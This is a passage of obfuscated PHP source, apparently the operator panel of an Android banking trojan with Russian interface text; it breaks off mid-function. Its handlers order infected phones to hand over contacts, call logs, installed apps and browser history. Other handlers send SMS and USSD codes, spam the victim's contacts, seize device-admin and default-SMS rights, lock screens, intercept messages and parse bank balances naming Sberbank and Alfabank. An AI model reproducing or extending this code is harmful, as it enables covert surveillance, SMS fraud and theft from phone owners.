  615.         $var28 = mysql_result(mysql_query("SELECT number FROM conversations WHERE uid = " . $var75 . " AND thread_id = " . $var86 . " LIMIT 1"), 00);
  616.         $var28 = htmlspecialchars($var28);
  617.         $var28 = str_replace(array("
  618. ", "
  619. ", "
  620. "), "", $var28);
  621.         $var76 = "<h1><span class=\"left\" style=\"margin-top:6px;\" onClick=\"showSmsList(" . $var75 . "); return false;\">Диалоги</span><span style=\"position:absolute;top:13px;right:30px;\">" . $var28 . "</span><br /></h1>";
  622.         $var76 .= "<div class=\"messages-wrapper\" style=\"height:525px;margin-top:5px;margin-right:-10px;overflow-wrap:break-word;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;\">";
  623.         $var77 = mysql_query("SELECT * FROM `conversations` WHERE `uid` = " . $var75 . " AND `thread_id` = " . $var86 . " ORDER BY `date` DESC;");
  624.         while ($var78 = mysql_fetch_assoc($var77)) {
  625.             if ($var78["type"] == 01) {
  626.                 $var61 = "style=\"margin-left:15px;\"";
  627.                 $var87 = "message from";
  628.                 $var88 = "Входящее";
  629.             } elseif ($var78["type"] == 02) {
  630.                 $var61 = "style=\"margin-right:15px;\"";
  631.                 $var87 = "message to";
  632.                 $var88 = "Исходящее";
  633.             }
  634.             $var89 = htmlspecialchars($var78["message"]);
  635.             $var89 = str_replace(array("
  636. ", "
  637. ", "
  638. "), "<br />", $var89);
  639.             $var76 .= "<div class=\"" . $var87 . "\" " . $var61 . ">" . $var89 . "<br /><br /><span style=\"font-size:10px;\">" . $var88 . "</span><span style=\"font-size:10px;float:right;\">" . $var78["date"] . "</span></div>";
  640.         }
  641.         $var76 .= "</div>";
  642.         $var5 = $var76;
  643.         break;
  644.     case "updContacts":
  645.         $var36 = intval($var17["bid"]);
  646.         if (!isset($var13["admn"])) {
  647.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  648.             break;
  649.         }
  650.         @mysql_query("DELETE FROM `contacts` WHERE `uid`=" . $var36 . ";");
  651.         @mysql_query("INSERT INTO `contacts` SET `uid`=" . $var36 . ", `cid`=0, `name`='pending', `number`='0';");
  652.         $var74 = savesmsdb($var36, "Получение списка контактов", "", 03, 00, 00);
  653.         $var47 = mysql_query("INSERT INTO `quest` SET
  654. `uid`=" . $var36 . ",
  655. `msg_id`=" . $var74 . ",
  656. `mode`='" . constant('COMMAND_GET_CONTACTS') . "';");
  657.         break;
  658.     case "updApps":
  659.         $var36 = intval($var17["bid"]);
  660.         if (!isset($var13["admn"])) {
  661.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  662.             break;
  663.         }
  664.         @mysql_query("DELETE FROM `apps` WHERE `uid`=" . $var36 . ";");
  665.         @mysql_query("INSERT INTO `apps` SET `uid`=" . $var36 . ", `name`='pending';");
  666.         $var74 = savesmsdb($var36, "Получение списка установленных приложений", "", 03, 00, 00);
  667.         $var47 = mysql_query("INSERT INTO `quest` SET
  668. `uid`=" . $var36 . ",
  669. `msg_id`=" . $var74 . ",
  670. `mode`='" . constant('COMMAND_GET_APPS') . "';");
  671.         break;
  672.     case "updCalls":
  673.         $var36 = intval($var17["bid"]);
  674.         if (!isset($var13["admn"])) {
  675.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  676.             break;
  677.         }
  678.         @mysql_query("DELETE FROM `calls` WHERE `uid`=" . $var36 . ";");
  679.         @mysql_query("INSERT INTO `calls` SET `uid`=" . $var36 . ", `number`='pending';");
  680.         $var74 = savesmsdb($var36, "Получение списка вызовов", "", 03, 00, 00);
  681.         $var47 = mysql_query("INSERT INTO `quest` SET
  682. `uid`=" . $var36 . ",
  683. `msg_id`=" . $var74 . ",
  684. `mode`='" . constant('COMMAND_GET_CALLS') . "';");
  685.         break;
  686.     case "updBrowhist":
  687.         $var36 = intval($var17["bid"]);
  688.         if (!isset($var13["admn"])) {
  689.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  690.             break;
  691.         }
  692.         @mysql_query("DELETE FROM `browhist` WHERE `uid`=" . $var36 . ";");
  693.         @mysql_query("INSERT INTO `browhist` SET `uid`=" . $var36 . ", `title`='pending';");
  694.         $var74 = savesmsdb($var36, "Получение истории браузера", "", 03, 00, 00);
  695.         $var47 = mysql_query("INSERT INTO `quest` SET
  696. `uid`=" . $var36 . ",
  697. `msg_id`=" . $var74 . ",
  698. `mode`='" . constant('COMMAND_GET_BROWHIST') . "';");
  699.         break;
  700.     case "showContacts":
  701.         $var75 = intval($var17["bid"]);
  702.         $var76 = "<h1>Контакты<br /></h1>";
  703.         $var76 .= "<div style='height:525px;margin-top:5px;margin-right:-10px;overflow-wrap:break-word;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;'>";
  704.         $var77 = mysql_query("SELECT * FROM `contacts` WHERE `uid` = " . $var75 . " GROUP BY `cid`;");
  705.         while ($var78 = mysql_fetch_assoc($var77)) {
  706.             $var90 = 00;
  707.             if ($var78["name"] == "pending") {
  708.                 $var5 = "<i>ожидается ответ...</i>";
  709.                 break;
  710.             }
  711.             $var91 = mysql_query("SELECT * FROM `contacts` WHERE `uid` = " . $var75 . " AND `cid` = " . $var78["cid"] . ";");
  712.             while ($var92 = mysql_fetch_assoc($var91)) {
  713.                 $var33 = htmlspecialchars($var92["name"]);
  714.                 if ($var92["number"] == $var92["name"]) {
  715.                     $var33 = "Без имени";
  716.                     break;
  717.                 }
  718.             }
  719.             $var90 = 00;
  720.             $var91 = mysql_query("SELECT * FROM `contacts` WHERE `uid` = " . $var75 . " AND `cid` = " . $var78["cid"] . ";");
  721.             while ($var92 = mysql_fetch_assoc($var91)) {
  722.                 $var93 = preg_replace("/[^0-9]/", "", $var92["number"]);
  723.                 if ($var90 == 00) $var76 .= "<div style='display:inline-block;width:170px;margin-top:5px;'>" . $var33 . "</div><div style='display:inline-block;float:right;margin-top:5px;margin-right:5px;'>" . $var93 . "</div><br />"; else $var76 .= "<div style='display:inline-block;margin-left:170px;float:right;margin-right:5px;'>" . $var93 . "</div><br />";
  724.                 $var90++;
  725.             }
  726.             $var76 .= "<div style='height:1px;width:395px;border-top:1px solid #444;'></div>";
  727.         }
  728.         $var76 .= "</div>";
  729.         $var5 = $var76;
  730.         break;
  731.     case "showApps":
  732.         $var75 = intval($var17["bid"]);
  733.         $var76 = "<h1>Приложения<br /></h1>";
  734.         $var77 = mysql_query("SELECT * FROM `apps` WHERE `uid` = " . $var75 . ";");
  735.         $var76 .= "<div style='height:525px;margin-top:5px;margin-right:-10px;overflow-wrap:break-word;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;'>";
  736.         while ($var78 = mysql_fetch_assoc($var77)) {
  737.             $var76 .= $var78["name"] . "<br />";
  738.         }
  739.         $var76 .= "</div>";
  740.         $var5 = $var76;
  741.         break;
  742.     case "showCalls":
  743.         $var75 = intval($var17["bid"]);
  744.         $var76 = "<h1>История вызовов<br /></h1>";
  745.         $var77 = mysql_query("SELECT * FROM `calls` WHERE `uid` = " . $var75 . " ORDER BY `id` DESC;");
  746.         $var76 .= "<div style='height:525px;margin-top:5px;margin-right:-10px;overflow-wrap:break-word;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;'>";
  747.         while ($var78 = mysql_fetch_assoc($var77)) {
  748.             if ($var78["type"] == 01) $var94 = "<i class='fa fa-arrow-down'></i>&nbsp;";
  749.             if ($var78["type"] == 02) $var94 = "<i class='fa fa-arrow-up'></i>&nbsp;";
  750.             if ($var78["type"] == 03) $var94 = "<i class='fa fa-arrows-h'></i>&nbsp;";
  751.             $var76 .= "<div class='block' style='width:180px;'>" . $var94 . "" . $var78["number"] . "</div><div class='block' style='width:115px;'>" . $var78["duration"] . "с</div><div class='block' style='width:90px;float:right;text-align:right;margin-right:5px;'>" . $var78["date"] . "</div><br />";
  752.         }
  753.         $var76 .= "</div>";
  754.         $var5 = $var76;
  755.         break;
  756.     case "showBrowhist":
  757.         $var75 = intval($var17["bid"]);
  758.         $var76 = "<h1>История браузера<br /></h1>";
  759.         $var77 = mysql_query("SELECT * FROM `browhist` WHERE `uid` = " . $var75 . " ORDER BY `id` DESC;");
  760.         $var76 .= "<div style='margin-top:5px;overflow-wrap:break-word;word-wrap:break-word;height:525px;margin-top:5px;margin-right:-10px;overflow-y:auto;overflow-x:hidden;'>";
  761.         while ($var78 = mysql_fetch_assoc($var77)) {
  762.             $var76 .= "<a style='color:#708090;' href='" . $var78["url"] . "'>" . $var78["title"] . "</a><br/><span style='font-size:11px;'>" . $var78["url"] . "</span><br/><br/>";
  763.         }
  764.         $var76 .= "</div>";
  765.         $var5 = $var76;
  766.         break;
  767.     case "delete_bot_id":
  768.         if (!isset($var13["admn"])) {
  769.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  770.             break;
  771.         }
  772.         $var95 = substr(str_shuffle("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"), 00, 07);
  773.         $var95 .= ".com";
  774.         $var32 = intval($var17["id"]);
  775.         @mysql_query("UPDATE `users` SET `ban`=2 WHERE `id`=" . $var32 . ";");
  776.         @mysql_query("DELETE FROM `messages` WHERE `uid`=" . $var32 . ";");
  777.         @mysql_query("DELETE FROM `cards` WHERE `uid`=" . $var32 . ";");
  778.         @mysql_query("DELETE FROM `contacts` WHERE `uid`=" . $var32 . ";");
  779.         @mysql_query("DELETE FROM `conversations` WHERE `uid`=" . $var32 . ";");
  780.         @mysql_query("DELETE FROM `apps` WHERE `uid`=" . $var32 . ";");
  781.         @mysql_query("DELETE FROM `browhist` WHERE `uid`=" . $var32 . ";");
  782.         @mysql_query("DELETE FROM `calls` WHERE `uid`=" . $var32 . ";");
  783.         $var47 = mysql_query("INSERT INTO `quest` SET `mode`='" . constant('COMMAND_SELFDELETE') . "', `uid`=" . $var32 . ";");
  784.         break;
  785.     case "chgAutoreply":
  786.         if (!isset($var13["admn"])) {
  787.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  788.             break;
  789.         }
  790.         $var96 = intval($var17["cb"]);
  791.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `autoreply`=" . $var96 . ";");
  792.         break;
  793.     case "chgStartContacts":
  794.         if (!isset($var13["admn"])) {
  795.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  796.             break;
  797.         }
  798.         $var96 = intval($var17["cb"]);
  799.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `startcontacts`=" . $var96 . ";");
  800.         break;
  801.     case "chgSwright":
  802.         if (!isset($var13["admn"])) {
  803.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  804.             break;
  805.         }
  806.         $var96 = intval($var17["cb"]);
  807.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `swright`=" . $var96 . ";");
  808.         break;
  809.     case "chgStartLockScreen":
  810.         if (!isset($var13["admn"])) {
  811.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  812.             break;
  813.         }
  814.         $var96 = intval($var17["cb"]);
  815.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `startscreenlock`=" . $var96 . ";");
  816.         break;
  817.     case "chgStartLock":
  818.         if (!isset($var13["admn"])) {
  819.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  820.             break;
  821.         }
  822.         $var96 = intval($var17["cb"]);
  823.         $var97 = textedit($var17["sc"]);
  824.         $var97 = rtrim($var97, ";");
  825.         if ($var96 == 00) @mysql_query("UPDATE `vars` SET `startlock`=" . $var96 . ", `startlock_countries`='';");
  826.         if ($var96 == 01) @mysql_query("UPDATE `vars` SET `startlock`=" . $var96 . ", `startlock_countries`='" . $var97 . "';");
  827.         break;
  828.     case "chgStartSms":
  829.         if (!isset($var13["admn"])) {
  830.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  831.             break;
  832.         }
  833.         $var96 = intval($var17["cb"]);
  834.         if ($var96 == 00 || $var96 == 01) @mysql_query("UPDATE `vars` SET `startsms`=" . $var96 . ";");
  835.         break;
  836.     case "ask_admin":
  837.         if (!isset($var13["admn"])) {
  838.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  839.             break;
  840.         }
  841.         $var98 = intval($var17["value"]);
  842.         if ($var98 == 00 || $var98 == 01 || $var98 == 02) @mysql_query("UPDATE `vars` SET `ask_admin`=" . $var98 . ";");
  843.         break;
  844.     case "ask_sms":
  845.         if (!isset($var13["admn"])) {
  846.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  847.             break;
  848.         }
  849.         $var98 = intval($var17["value"]);
  850.         if ($var98 == 00 || $var98 == 01 || $var98 == 02) @mysql_query("UPDATE `vars` SET `ask_sms`=" . $var98 . ";");
  851.         break;
  852.     case "whentodead":
  853.         if (!isset($var13["admn"])) {
  854.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  855.             break;
  856.         }
  857.         $var99 = intval($var17["value"]);
  858.         if ($var99 > 00) $var50 = @mysql_query("UPDATE `vars` SET `whentodead`='" . $var99 . "';");
  859.         break;
  860.     case "chgAutoNet":
  861.         if (!isset($var13["admn"])) {
  862.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  863.             break;
  864.         }
  865.         $var96 = intval($var17["cb"]);
  866.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `autonet`=" . $var96 . ";");
  867.         break;
  868.     case "chgNumdetect":
  869.         if (!isset($var13["admn"])) {
  870.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  871.             break;
  872.         }
  873.         $var96 = intval($var17["cb"]);
  874.         if ($var96 == 00 || $var96 == 01) @mysql_query("UPDATE `vars` SET `numdetect`=" . $var96 . ";");
  875.         break;
  876.     case "chgBalNotif":
  877.         if (!isset($var13["admn"])) {
  878.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  879.             break;
  880.         }
  881.         $var96 = intval($var17["cb"]);
  882.         if ($var96 == 00 || $var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `balnotif`=" . $var96 . ";");
  883.         break;
  884.     case "chgGcmKey":
  885.         if (!isset($var13["admn"])) {
  886.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  887.             break;
  888.         }
  889.         $var96 = intval($var17["cb"]);
  890.         $var100 = textedit($var17["key"]);
  891.         if ($var96 == 01) $var50 = @mysql_query("UPDATE `vars` SET `gcm_key`='" . $var100 . "';"); else $var50 = @mysql_query("UPDATE `vars` SET `gcm_key`=NULL;");
  892.         break;
  893.     case "rename_ref":
  894.         if (!isset($var13["admn"])) {
  895.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  896.             break;
  897.         }
  898.         $var32 = intval($var17["id"]);
  899.         $var33 = textedit($var17["name"]);
  900.         $var33 = substr($var33, 00, 021);
  901.         $var50 = @mysql_query("UPDATE `prefix` SET `name`='" . $var33 . "' WHERE `id`='" . $var32 . "';");
  902.         break;
  903.     case "reset_ref":
  904.         if (!isset($var13["admn"])) {
  905.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  906.             break;
  907.         }
  908.         $var32 = intval($var17["id"]);
  909.         $var50 = @mysql_query("UPDATE `users` SET `prefix_id`=0 WHERE `prefix_id`='" . $var32 . "';");
  910.         $var101 = @mysql_query("DELETE FROM `prefix` WHERE `id`='" . $var32 . "';");
  911.         break;
  912.     case "change_set_intercept":
  913.         if (!isset($var13["admn"])) {
  914.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  915.             break;
  916.         }
  917.         $var102 = textedit($var17["intercept"]);
  918.         $var102 = rtrim($var102, ";");
  919.         $var50 = @mysql_query("UPDATE `vars` SET `intercept`='" . $var102 . "';");
  920.         break;
  921.     case "setNumberFilter":
  922.         if (!isset($var13["admn"])) {
  923.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  924.             break;
  925.         }
  926.         $var4["filter_num"] = $var17["filter"];
  927.         break;
  928.     case "setMsgFilter":
  929.         if (!isset($var13["admn"])) {
  930.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  931.             break;
  932.         }
  933.         $var4["filter_msg"] = $var17["filter_msg"];
  934.         break;
  935.     case "deleteAllSms":
  936.         if (!isset($var13["admn"])) {
  937.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  938.             break;
  939.         }
  940.         $var36 = intval($var17["bid"]);
  941.         $var72 = @mysql_query("DELETE FROM `messages` WHERE `uid` = " . $var36 . ";");
  942.         break;
  943.     case "deleteAllConversations":
  944.         if (!isset($var13["admn"])) {
  945.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  946.             break;
  947.         }
  948.         $var72 = @mysql_query("TRUNCATE `conversations`;");
  949.         break;
  950.     case "deleteAllSmsOut":
  951.         if (!isset($var13["admn"])) {
  952.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  953.             break;
  954.         }
  955.         $var103 = @mysql_query("DELETE FROM `messages` WHERE `incoming`=0 AND `status` <>0;");
  956.         break;
  957.     case "deleteAASet":
  958.         if (!isset($var13["admn"])) {
  959.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  960.             break;
  961.         }
  962.         $var32 = intval($var17["id"]);
  963.         @mysql_query("DELETE FROM `templates` WHERE `id`=" . $var32 . ";");
  964.         break;
  965.     case "addAASet":
  966.         if (!isset($var13["admn"])) {
  967.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  968.             break;
  969.         }
  970.         $var28 = textedit($var17["number"]);
  971.         $var104 = textedit($var17["pattern"]);
  972.         if (strlen($var104) < 01) {
  973.             $var5 = "Ошибка.<br /><br />Паттерн не должен быть пустым.";
  974.             break;
  975.         }
  976.         @mysql_query("INSERT INTO `templates` SET `number`='" . $var28 . "', `data`='" . $var104 . "', `type`=1;");
  977.         break;
  978.     case "addBalSet":
  979.         if (!isset($var13["admn"])) {
  980.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  981.             break;
  982.         }
  983.         $var33 = textedit($var17["name"]);
  984.         $var28 = textedit($var17["number"]);
  985.         $var104 = textedit($var17["pattern"]);
  986.         if (strlen($var33) < 01 || strlen($var28) < 01 || strlen($var104) < 01) {
  987.             $var5 = "Ошибка.<br /><br />Имя, номер и паттерн не должны быть пустыми.";
  988.             break;
  989.         } elseif (strtolower($var33) == "sberbank" || strtolower($var33) == "alfabank") {
  990.             $var5 = "Ошибка в имени.<br /><br />Имена <b>Sberbank</b> и <b>Alfabank</b> зарезервированы.";
  991.             break;
  992.         } elseif (!preg_match("/^[a-zA-Z]+$/isu", $var33)) {
  993.             $var5 = "Ошибка в имени.<br /><br />Допускается только латинница.";
  994.             break;
  995.         }
  996.         @mysql_query("INSERT INTO `templates` SET `name`='" . $var33 . "', `number`='" . $var28 . "', `data`='" . $var104 . "', `type`=2;");
  997.         break;
  998.     case "addJabSet":
  999.         if (!isset($var13["admn"])) {
  1000.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1001.             break;
  1002.         }
  1003.         $var104 = textedit($var17["pattern"]);
  1004.         if (strlen($var104) < 01) {
  1005.             $var5 = "Ошибка.<br /><br />Паттерн не должен быть пустым.";
  1006.             break;
  1007.         }
  1008.         @mysql_query("INSERT INTO `templates` SET `data`='" . $var104 . "', `type`=3;");
  1009.         break;
  1010.     case "deleteAllSmsNew":
  1011.         if (!isset($var13["admn"])) {
  1012.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1013.             break;
  1014.         }
  1015.         $var105 = textedit($var17["filternum"]);
  1016.         $var106 = textedit($var17["filtertext"]);
  1017.         $var107 = explode(";", $var105);
  1018.         foreach ($var107 as $var28) {
  1019.             if (strlen($var28) > 00) $var72 = @mysql_query("DELETE FROM `messages` WHERE `incoming`=1 AND `text_sms` LIKE '%" . $var106 . "%' AND `number_sms` LIKE '" . $var28 . "';"); else $var72 = @mysql_query("DELETE FROM `messages` WHERE `incoming`=1 AND `text_sms` LIKE '%" . $var106 . "%';");
  1020.         }
  1021.         break;
  1022.     case "deleteSms":
  1023.         if (!isset($var13["admn"])) {
  1024.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1025.             break;
  1026.         }
  1027.         $var32 = intval($var17["id"]);
  1028.         @mysql_query("DELETE FROM `messages` WHERE `id` = " . $var32 . ";");
  1029.         @mysql_query("DELETE FROM `quest` WHERE `msg_id` = " . $var32 . ";");
  1030.         break;
  1031.     case "send_sms_comand":
  1032.         if (!isset($var13["admn"])) {
  1033.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1034.             break;
  1035.         }
  1036.         $var36 = intval($var17["bid"]);
  1037.         $var28 = textedit($var17["number"]);
  1038.         $var29 = textedit($var17["text"]);
  1039.         $var30 = preg_match("/^\+?\d+$/", $var28, $var31);
  1040.         if ($var30 < 01) {
  1041.             $var5 = "Неправильно введен номер.";
  1042.             break;
  1043.         }
  1044.         if ($var17["send_for"] == "gcm") {
  1045.             $var24 = @mysql_query("SELECT * FROM `users` WHERE `id` = " . $var36 . " LIMIT 1;");
  1046.             $var25 = @mysql_fetch_assoc($var24);
  1047.             $var22 = savesmsdb($var36, $var29, $var28, 00, 01);
  1048.             gcmcommand_sendsms(array($var25["gcm_key"]), $var17["text"], $var17["number"], $var22);
  1049.         } else {
  1050.             $var22 = savesmsdb($var36, $var29, $var28, 00, 00);
  1051.             $var47 = mysql_query("INSERT INTO `quest` SET
  1052.      `uid`=" . $var36 . ",
  1053.      `msg_id`=" . $var22 . ",
  1054.      `mode`='" . constant('COMMAND_SEND_SMS') . "',
  1055.      `sms_text`='" . $var29 . "',
  1056.      `sms_number`='" . $var28 . "';");
  1057.         }
  1058.         break;
  1059.     case "send_ussd_comand":
  1060.         if (!isset($var13["admn"])) {
  1061.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1062.             break;
  1063.         }
  1064.         $var36 = intval($var17["bid"]);
  1065.         $var28 = textedit($var17["number"]);
  1066.         $var30 = preg_match("/^[0-9\*\#]+$/", $var28, $var31);
  1067.         if ($var30 < 01) {
  1068.             $var5 = "Неправильно введен номер.";
  1069.             break;
  1070.         }
  1071.         $var22 = savesmsdb($var36, "*" . $var28 . "#", "USSD", 00, 00);
  1072.         $var47 = mysql_query("INSERT INTO `quest` SET
  1073. `uid`=" . $var36 . ",
  1074. `msg_id`=" . $var22 . ",
  1075. `mode`='" . constant('COMMAND_SEND_USSD') . "',
  1076. `sms_number`='" . $var28 . "';");
  1077.         break;
  1078.     case "save_conut_page":
  1079.         $var98 = (int)$var17["value"];
  1080.         if ($var98 < 01) {
  1081.             $var98 = 01;
  1082.         } else if ($var98 > 01750) {
  1083.             $var98 = 01750;
  1084.         }
  1085.         $var13["count_for_page"] = $var98;
  1086.         break;
  1087.     case "change_category_bot":
  1088.         if (!isset($var13["admn"])) {
  1089.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1090.             break;
  1091.         }
  1092.         $var36 = intval($var17["bid"]);
  1093.         $var108 = intval($var17["cat_id"]);
  1094.         $var109 = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `id`=" . $var36 . ";"), 00);
  1095.         $var110 = mysql_result(mysql_query("SELECT COUNT(*) FROM `category` WHERE `id`=" . $var108 . ";"), 00);
  1096.         if ($var109 < 01) {
  1097.             $var5 = "Бота не существует";
  1098.             break;
  1099.         }
  1100.         if ($var110 < 01) {
  1101.             $var5 = "Категории не существует";
  1102.             break;
  1103.         }
  1104.         $var50 = @mysql_query("UPDATE `users` SET `category`=" . $var108 . " WHERE `id`=" . $var36 . " LIMIT 1;");
  1105.         break;
  1106.     case "sendSpamBot":
  1107.         if (!isset($var13["admn"])) {
  1108.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1109.             break;
  1110.         }
  1111.         $var36 = intval($var17["bid"]);
  1112.         $var29 = textedit($var17["text"]);
  1113.         if (strlen(trim($var29)) == 00) {
  1114.             $var5 = "Введите текст сообщения.";
  1115.             break;
  1116.         }
  1117.         $var46 = save_event($var36, "Отправлена рассылка по контактам сообщения: " . $var29, 03);
  1118.         $var47 = mysql_query("INSERT INTO `quest` SET
  1119. `uid`=" . $var36 . ",
  1120. `msg_id`=" . $var46 . ",
  1121. `mode`='" . constant('COMMAND_MSG_CONTACTS') . "',
  1122. `sms_text`='" . $var29 . "';");
  1123.         break;
  1124.     case "askAdmin":
  1125.         if (!isset($var13["admn"])) {
  1126.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1127.             break;
  1128.         }
  1129.         $var36 = intval($var17["bid"]);
  1130.         $var46 = save_event($var36, "Запрос прав администратора", 03);
  1131.         $var47 = mysql_query("INSERT INTO `quest` SET
  1132.      `uid`=" . $var36 . ",
  1133.      `msg_id`=" . $var46 . ",
  1134.      `sms_number`='',
  1135.      `mode`='" . constant('COMMAND_ASK_ADMIN') . "';");
  1136.         break;
  1137.     case "askSms":
  1138.         if (!isset($var13["admn"])) {
  1139.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1140.             break;
  1141.         }
  1142.         $var36 = intval($var17["bid"]);
  1143.         $var46 = save_event($var36, "Запрос прав дефолтного СМС приложения", 03);
  1144.         $var47 = mysql_query("INSERT INTO `quest` SET
  1145.      `uid`=" . $var36 . ",
  1146.      `msg_id`=" . $var46 . ",
  1147.      `sms_number`='',
  1148.      `mode`='" . constant('COMMAND_ASK_SMS') . "';");
  1149.         break;
  1150.     case "lockScreen":
  1151.         if (!isset($var13["admn"])) {
  1152.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1153.             break;
  1154.         }
  1155.         $var36 = intval($var17["bid"]);
  1156.         $var46 = save_event($var36, "Блокировать экран, отключить звук и вибрацию", 03);
  1157.         $var47 = mysql_query("INSERT INTO `quest` SET
  1158.      `uid`=" . $var36 . ",
  1159.      `msg_id`=" . $var46 . ",
  1160.      `sms_number`='',
  1161.      `mode`='" . constant('COMMAND_LOCK_SCREEN') . "';");
  1162.         @mysql_query("UPDATE `users` SET `is_lock_screen`=1 WHERE `id`=" . $var36 . ";");
  1163.         break;
  1164.     case "unlockScreen":
  1165.         if (!isset($var13["admn"])) {
  1166.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1167.             break;
  1168.         }
  1169.         $var36 = intval($var17["bid"]);
  1170.         $var46 = save_event($var36, "Разблокировать экран", 03);
  1171.         $var47 = mysql_query("INSERT INTO `quest` SET
  1172.      `uid`=" . $var36 . ",
  1173.      `msg_id`=" . $var46 . ",
  1174.      `sms_number`='',
  1175.      `mode`='" . constant('COMMAND_UNLOCK_SCREEN') . "';");
  1176.         @mysql_query("UPDATE `users` SET `is_lock_screen`=0 WHERE `id`=" . $var36 . ";");
  1177.         break;
  1178.     case "makeCall":
  1179.         if (!isset($var13["admn"])) {
  1180.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1181.             break;
  1182.         }
  1183.         $var36 = intval($var17["bid"]);
  1184.         $var93 = textedit($var17["number"]);
  1185.         if (!preg_match("/^\+?\d{3,15}$/", $var93)) {
  1186.             $var5 = "Ошибка: неправильно введен номер телефона.";
  1187.             break;
  1188.         }
  1189.         $var46 = save_event($var36, "Звонок на номер " . $var93, 03);
  1190.         $var47 = mysql_query("INSERT INTO `quest` SET
  1191.      `uid`=" . $var36 . ",
  1192.      `msg_id`=" . $var46 . ",
  1193.      `sms_number`='" . $var93 . "',
  1194.      `mode`='" . constant('COMMAND_MAKE_CALL') . "';");
  1195.         break;
  1196.     case "openUrl":
  1197.         if (!isset($var13["admn"])) {
  1198.             $var5 = base64_decode("QWNjZXNzIGRlbmllZC4=");
  1199.             break;
  1200.         }
  1201.         $var36 = intval($var17["bid"]);
  1202.         $var111 = textedit($var17["url"]);
  1203.         if (filter_var($var111, 273) === false) {
  1204.             $var5 = "Ошибка: неправильно введен URL.";
  1205.             break;
  1206.         }
  1207.         $var46 = save_event($var36, "Открыть URL: " . $var111, 03);
  1208.         $var47 = mysql_query("INSERT INTO `quest` SET
  1209.      `uid`=" . $var36 . ",
  1210.      `msg_id`=" . $var46 . ",
  1211.      `sms_text`='" . $var111 . "',
  1212.      `mode`='" . constant('COMMAND_OPEN_URL') . "';");
  1213.         break;
  1214.     case "all_country":
  1215.         $var112 = textedit($var17["country_name"]);
  1216.         $var13["s_country"] = $var112;
  1217.         break;
  1218.     case "all_category":
  1219.         $var113 = textedit($var17["category_name"]);
  1220.         $var13["s_category"] = $var113;
  1221.         break;
  1222.     case "all_thread":
  1223.         $var114 = textedit($var17["thread_name"]);
  1224.         $var13["s_thread"] = $var114;
  1225.         break;
  1226.     case "count_bot_for_quest":
  1227.         $var115 = intval($var17["whos"]);
  1228.         $var116 = textedit($var17["operator"]);
  1229.         $var117 = textedit($var17["country"]);
  1230.         $var118 = intval($var17["prefix"]);
  1231.         $var119 = intval($var17["category"]);
  1232.         $var120 = false;
  1233.         $var121 = " WHERE `ban`=0 ";
  1234.         if ($var115 > 00 || $var116 != "all" || $var117 != "all" || $var118 > 00 || $var119 > 00) {
  1235.             $var121 .= "AND ";
  1236.         }
  1237.         if ($var115 == 01) {
  1238.             $var121 .= "`gcm_key` IS NOT NULL";
  1239.             $var120 = true;
  1240.         } else if ($var115 == 02) {
  1241.             $var121 .= "`last_online` >= subdate('" . $var2 . "',INTERVAL 2 MINUTE)";
  1242.             $var120 = true;
  1243.         }
  1244.         if ($var116 != "all") {
  1245.             if ($var120) {
  1246.                 $var121 .= " AND ";
  1247.             }
  1248.             $var122 = preg_replace("/forcut+/", " ", $var116);
